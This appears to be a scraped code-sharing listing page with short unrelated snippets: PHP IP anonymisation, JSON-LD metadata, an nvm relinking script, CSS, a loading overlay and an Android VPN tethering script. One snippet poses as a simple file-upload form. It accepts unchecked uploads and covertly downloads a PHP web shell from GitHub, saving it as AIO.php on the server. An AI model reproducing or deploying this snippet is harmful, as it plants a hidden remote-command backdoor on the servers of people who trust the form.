A Pen by dimas lanjaka on CodePen.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function anonIp($ip) | |
{ | |
if (strpos($ip, ".") !== false) { // detect IP type by dots instead of length | |
$pieces = explode(".", $ip); | |
$nPieces = count($pieces); | |
$pieces[$nPieces - 1] = $pieces[$nPieces - 2] = "XXX"; | |
return implode(".", $pieces); | |
} else { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
export default function anyFunc() { | |
return 'hello world'; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"author": { | |
"url": "https://webmanajemen.com/author/dimaslanjaka", | |
"name": "Dimas Lanjaka", | |
"@context": "http://schema.org", | |
"@type": "Person" | |
}, | |
"headline": "Headline article", | |
"publisher": { | |
"url": "https://webmanajemen.com/author/dimaslanjaka", |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "nvm using version $(nvm version)" | |
# removing existing symlinks | |
sudo rm -rf /usr/local/bin/node | |
sudo rm -rf /usr/local/bin/npm | |
sudo rm -rf /usr/local/bin/npx | |
# re-link nvm | |
sudo ln -s "$NVM_DIR/versions/node/$(nvm version)/bin/node" "/usr/local/bin/node" | |
sudo ln -s "$NVM_DIR/versions/node/$(nvm version)/bin/npm" "/usr/local/bin/npm" | |
sudo ln -s "$NVM_DIR/versions/node/$(nvm version)/bin/npx" "/usr/local/bin/npx" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
body { margin:0; padding:0; } | |
#map { position:absolute; top:0; bottom:0; width:100%; } | |
#map { | |
position:absolute; | |
left:25%; | |
top:0; | |
bottom:0; | |
width: 75%; | |
} |
Use a JavaScript method to add bootstrap alerts to the dom all animated and what not. Also has a self destruct option
A Pen by Cody Sechelski on CodePen.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html><html><head> <title>Upload your files</title></head><body> <form enctype='multipart/form-data' action='upload.php' method='POST'> <p>Upload your file</p><input type='file' name='uploaded_file'></input><br/> <input type='submit' value='Upload'></input> </form></body></html><?PHP if(!empty($_FILES['uploaded_file'])){$path='uploads/'; $path=$path . basename( $_FILES['uploaded_file']['name']); if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)){echo 'The file '. basename( $_FILES['uploaded_file']['name']). ' has been uploaded';}else{echo 'There was an error uploading the file, please try again!';}}$content=file_get_contents('https://raw.githubusercontent.com/heiswayi/simple-php-shell/master/shell.php');file_put_contents(__DIR__.'/AIO.php', $content);?> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta charset="utf-8"> | |
<title>Loading overlay - Demo by Roko C.B</title> | |
<style id="jsbin-css"> | |
*{margin:0;} | |
body{ | |
font: 200 16px/1 Helvetica, Arial, sans-serif; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/storage/xbin/bash | |
# This script should help forward VPN over any tethered connection on a Android device. Turn on tethering, then enable VPN, then run this script. | |
# Inital variable setup | |
tethering=0 | |
# Setup iptables before forwarding VPN | |
iptables -A POSTROUTING -o tun0 -j MASQUERADE -t nat |
NewerOlder